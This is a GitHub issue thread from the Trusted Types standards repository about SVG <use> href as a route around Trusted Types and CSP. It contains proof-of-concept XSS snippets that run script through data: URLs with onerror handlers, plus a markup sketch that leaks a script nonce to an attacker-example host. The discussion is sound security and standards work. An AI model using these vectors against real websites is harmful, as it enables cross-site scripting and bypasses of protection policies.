w3c/trusted-types

Add SVG <use> href attribute to Trusted Types enforcement

Closed this issue ยท 17 comments

We should enforce Trusted Types on <use> tag's href attribute.

Found by @masatokinugawa.
https://twitter.com/kinugawamasato/status/1493576076726988802

<script>
  let attackerControlledString = 'data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayc+CjxpbWFnZSBocmVmPSJ4IiBvbmVycm9yPSJhbGVydChvcmlnaW4pIiAvPgo8L3N2Zz4=#x';
  const svg=document.createElementNS('http://www.w3.org/2000/svg','svg');
  const use=document.createElementNS('http://www.w3.org/2000/svg','use');
  use.setAttributeNS('http://www.w3.org/1999/xlink','href',attackerControlledString);
  svg.appendChild(use);
  document.body.appendChild(svg);
</script>
koto commented

Prehaps <svg:use xlink:href> should require TrustedScriptURL? I filed https://bugs.chromium.org/p/chromium/issues/detail?id=1300195 for Chromium.

Don't forget that the <set> and <animate> can set the <use> href attribute dynamically.
The following PoCs work on Chrome: (Note that the onerror sometimes does not fire for some reason. If it does not work, please reload the page.)
https://vulnerabledoma.in/ttbypass_svguse_set.html
https://vulnerabledoma.in/ttbypass_svguse_animate.html

koto commented

This vector using regular href attribute also works:

let attackerControlledString = "data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='1' onerror='console.log(/direct/,origin)' /></svg>#x";
const svg=document.createElementNS("http://www.w3.org/2000/svg", "svg");
const use=document.createElementNS("http://www.w3.org/2000/svg", "use");
use.setAttribute('href', attackerControlledString);
svg.appendChild(use);
document.body.appendChild(svg);

To make sure I understand the root cause: These vectors are dynamically setting the <use href> (or deprecated <use xlink:href>) attribute - either directly via DOM, or via animation. While it's easy to cover the direct attribute manipulation, mutation via SVG animation is more tricky.

According to the <use href> in SVG spec though:

User agents may restrict external resource documents for security reasons. In particular, this specification does not allow cross-origin resource requests in โ€˜useโ€™. A future version of this or another specification may provide a method of securely enabling cross-origin re-use of assets.

I wonder why data: URLs are processed in the first place (they are cross-origin), i.e. is https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#data-url-with-use-element an implementation bug? I could not find anything about this in Chromium bug tracker. @mozfreddyb, do you recall anything about loading data: URLs via <use href> and the XSS in FF?

data URLs have not always been crossorigin and I would assume that we only ever thought about iframe/embed/object stuff but not svg subdocuments (like <use>). I think this might very well be an oversight?
Interestingly, the SVG spec says that the href attribute is (quote):

"An URL reference to the element/fragment within an SVG document to be cloned for rendering.".

What does that even mean? Is a "cloned document" a navigation? The details in use-element shadow tree for navigation/fetching are quite vague on this, but I think they ought to be "nested browsing contexts"

@koto: Would you be interested in collecting usage metrics for data: URLs in svg <use> elements for Chrome? I think this deserves unshipping.

Fwiw, @annevk made the very good point that the URL scheme might just not matter and e.g., http://html5sec.org/test.svg could also just work?

koto commented

No, at least in Blink implementation this is blocked. From what I can tell so far, Blink is just Fetching with mode same-origin, destination image, which skips the check for same-originness for data: URLs only (step 11 of https://fetch.spec.whatwg.org/#main-fetch)

same-origin with destination image should allow CORS, no? That example link above has permissive CORS headers, I suppose I should have mentioned that.

No it wouldn't. Mode has to be "cors" to allow CORS. (It's not clear that alone is a sufficient argument though as the natural extension for cross-origin resources here would be to allow that, just like we've done in other places.)

koto commented

https://jsbin.com/nolivug/2/edit?html,console tries data:, blob: and cross-origin. In Blink, only data: works, in FF, data: and blob:, in Safari - only blob:.

FWIW, SVG would like <use> to work with cross-origin resources: w3c/svgwg#707. No one seems interested in implementing it, but it's been discussed for years.

I think <use> with cross-origin resource is dangerous, as it has potential to bypass Strict CSP.
For example, you can already redirect to data URL from same-origin page and execute script from <use> in Firefox. If cross-origin resource is allowed, you can wait to serve data URL (by blocking response to redirect) until nonce is stolen using CSS.

I don't follow, care to elaborate?

<!-- XSS starts -->
<svg viewBox="0 0 30 10" xmlns="http://www.w3.org/2000/svg">
  <circle id="x" cx="5" cy="5" r="4" stroke="blue"/>
  <!-- Wait to serve content until we receive the nonce from img element -->
  <use href='https://cross-origin.attacker.example/svg_use.php#x' x="10" fill="blue"/>
</svg>
<img src='https://cross-origin.attacker.example/?
<!-- XSS ends -->

<script nonce="R4nd0m">alert('test')</script>

While above won't work in Chrome, but you can use iframe with name attribute to steal nonce in Chrome too (which is by design).

The concerning point with cross-origin resource in <use> is that it provides an ability to load external HTML content (including script) without script execution. Which could be used to load script tag after stealing nonce (therefore, valid nonce can be inserted).

koto commented

@shhnjk Do you know if this is still an issue? I remember you did some work to remove the data: URL support for svg:use, which might address this problem?

Since data: URLs in SVGUseElement is deprecated, I think the only possible XSS from SVGUseElement is:

  1. An attacker has an ability to host SVG image in the victim origin (e.g. image upload feature). However, an attacker can not render the image (due to Content-Disposition header).
  2. There is another bug where attacker can contol string assignment to SVGUseElement in victim's origin.

Then the XSS can happen. I think this situation is extremely rare, that we might not care anymore.

Guess we can intentionally exclude this from TT coverage then? I suggest to close this.

koto commented

Agreed. Thanks all!